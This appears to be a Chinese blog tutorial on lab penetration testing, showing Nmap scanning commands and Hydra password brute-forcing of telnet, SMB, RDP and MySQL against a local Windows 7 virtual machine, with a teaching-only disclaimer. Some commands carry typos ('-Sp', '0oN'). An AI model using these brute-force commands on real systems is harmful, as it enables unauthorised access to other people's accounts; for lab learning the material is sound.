渗透测试— —扫描与爆破账号

墨蓝 2024-03-29 15:56 63阅读 0赞

## 渗透测试— —扫描与爆破靶机账号 ##

### 1 扫描与爆破账号流程 ###

`注意：`仅用于教学与实验，不能用于攻击，否则后果自负

> 扫描：主机探测与端口扫描。（主机探测：目标主机是存活，端口扫描：在线主机所开放的端口，并且在该端口上运行的服务。甚至可以进一步确定目标主机操作系统类型和更详细信息）。  
> 爆破：使用一定的工具和密码字典，爆破出对方服务的账号

> 此处我的靶机采用虚拟机中的win7（`192.168.145.30`），只要虚拟机可以和真实机通信即可，虚拟机可以不用连接到外网。【VMware直接设置为VMnet1或者VMnet8，然后配置ip即可】  
> 参考：[虚拟机网络模式配置][Link 1]

常见端口号与服务：

<table> 
 <thead> 
  <tr> 
   <th>端口号</th> 
   <th>服务</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>21</td> 
   <td>FTP</td> 
  </tr> 
  <tr> 
   <td>22</td> 
   <td>SSH</td> 
  </tr> 
  <tr> 
   <td>23</td> 
   <td>Telnet</td> 
  </tr> 
  <tr> 
   <td>25</td> 
   <td>SMTP</td> 
  </tr> 
  <tr> 
   <td>80</td> 
   <td>HTTP</td> 
  </tr> 
  <tr> 
   <td>443</td> 
   <td>HTTPS</td> 
  </tr> 
  <tr> 
   <td>1433</td> 
   <td>SQL Server</td> 
  </tr> 
  <tr> 
   <td>1521</td> 
   <td>Oracle</td> 
  </tr> 
  <tr> 
   <td>3306</td> 
   <td>MySQL</td> 
  </tr> 
  <tr> 
   <td>3389</td> 
   <td>RDP</td> 
  </tr> 
 </tbody> 
</table>

#### 1.1 Nmap(扫描) ####

> 下载地址：http://www.nmap.com.cn/  
> 推荐7.7版本，其他版本的windows不稳定

常见命令：

# 扫描10.1.1.0 整个网段
    Nmap -Sp 10.1.1.1/24 
    # 扫描10.1.1.1的21,23,24,25,3389几个端口
    Nmap -p 21,23-25,3389 10.1.1.1 
    # 扫描21,23的服务版本
    Nmap -p 21,23 10.1.1.1 -sV

![在这里插入图片描述][e469f488ac5844b0bdea95470dd1acc0.png]

> 可以看到192.168.145.30的

# 全面扫描
    Nmap -A 10.1.1.1
    # 扫描目标系统版本[O是大写]
    Nmap -O 10.1.1.1 
    # 将生成的扫描报告存放在e:\result.txt文档中
    Nmap -p 21,23 10.1.1.1 0oN e:\result.txt

扫描目标系统版本：

#Nmap或nmap都行，不区分大小写
    nmap -O 192.168.145.30

![在这里插入图片描述][3f6555ddb3ec433dbf639bb43dc95a7c.png]

#### 1.2 Hydra（破解） ####

> 以九头蛇为例，用于破解靶机用户名和密码的（需要提供字典）  
> Hydra对应的英文意思是九头蛇，它是一款爆破神器，可以对多种服务的账号和密码进行破解，包括Web登录、数据库、SSH、FTP等服务，支持Linux、Windows、Mac平台安装，其中Kali Linux中自带Hydra。

> 下载地址：http://www.jisoupan.com/share/1151832.html

# 以用户名：admin，密码：123.com登录10.1.1.1的telnet服务
    Hydra -l admin -p 123.com 10.1.1.1 telnet
    # 用户名：admin，密码使用e:\pass.txt的密码字典爆破telnet服务
    Hydra -l admin -P e:\pass.txt 10.1.1.1 telnet
    # 用户名：admin，密码使用e:\pass.txt的密码字典爆破smb服务
    Hydra -l admin  -P e:\pass.txt 10.1.1.1 smb
    # 用户名：admin，密码使用e:\pass.txt的密码字典爆破rdp服务
    Hydra -l admin  -P e:\pass.txt 10.1.1.1 rdp
    # 用户名使用e:\user.txt，密码使用e:\pass.txt字典爆破 mysql服务
    Hydra -L e:\user.txt -P e:\pass.txt 10.1.1.1 mysql

下载完软件后，进入软件所在目录：![在这里插入图片描述][1937c22ed1cb4382b8df01d07ae63c7b.png]  
本地自己新建两份字典：

*  user.txt(目标机有可能的账号)  
    ![在这里插入图片描述][9906e39260304686ac685c9fe8b25f25.png]
 *  pass.txt(目标机器有可能的密码)  
    ![在这里插入图片描述][9a3ac0c6737643c2a7060b4730dc8eac.png]

爆破smb服务：

> smb：共享服务  
> win7开启smb服务：

![在这里插入图片描述][7e7f59bfeef44faa8fd1dade4efe11a0.png]

hydra -L e:\user.txt -P e:\pass.txt 192.168.145.30 smb

爆破结果：  
![在这里插入图片描述][f2e9da7f8682460486fc168ae962550b.png]

[Link 1]: https://editor.csdn.net/md/?articleId=127134851
[e469f488ac5844b0bdea95470dd1acc0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/59236aa065134e358212035f65eaceb0.png
[3f6555ddb3ec433dbf639bb43dc95a7c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/dbcfc6279de2413fbedcb75df5ccf06a.png
[1937c22ed1cb4382b8df01d07ae63c7b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/cec6f5297a424552993811776944df19.png
[9906e39260304686ac685c9fe8b25f25.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/1754bf2eb89a417a87b33513a7cfab9b.png
[9a3ac0c6737643c2a7060b4730dc8eac.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/122bfc1e236b4ef1bf49805d97e24cb6.png
[7e7f59bfeef44faa8fd1dade4efe11a0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/ac88f40a70dc43feaf17ace23c5531d7.png
[f2e9da7f8682460486fc168ae962550b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/28/c65ce3129e0144aab6c4fdfaf8da009c.png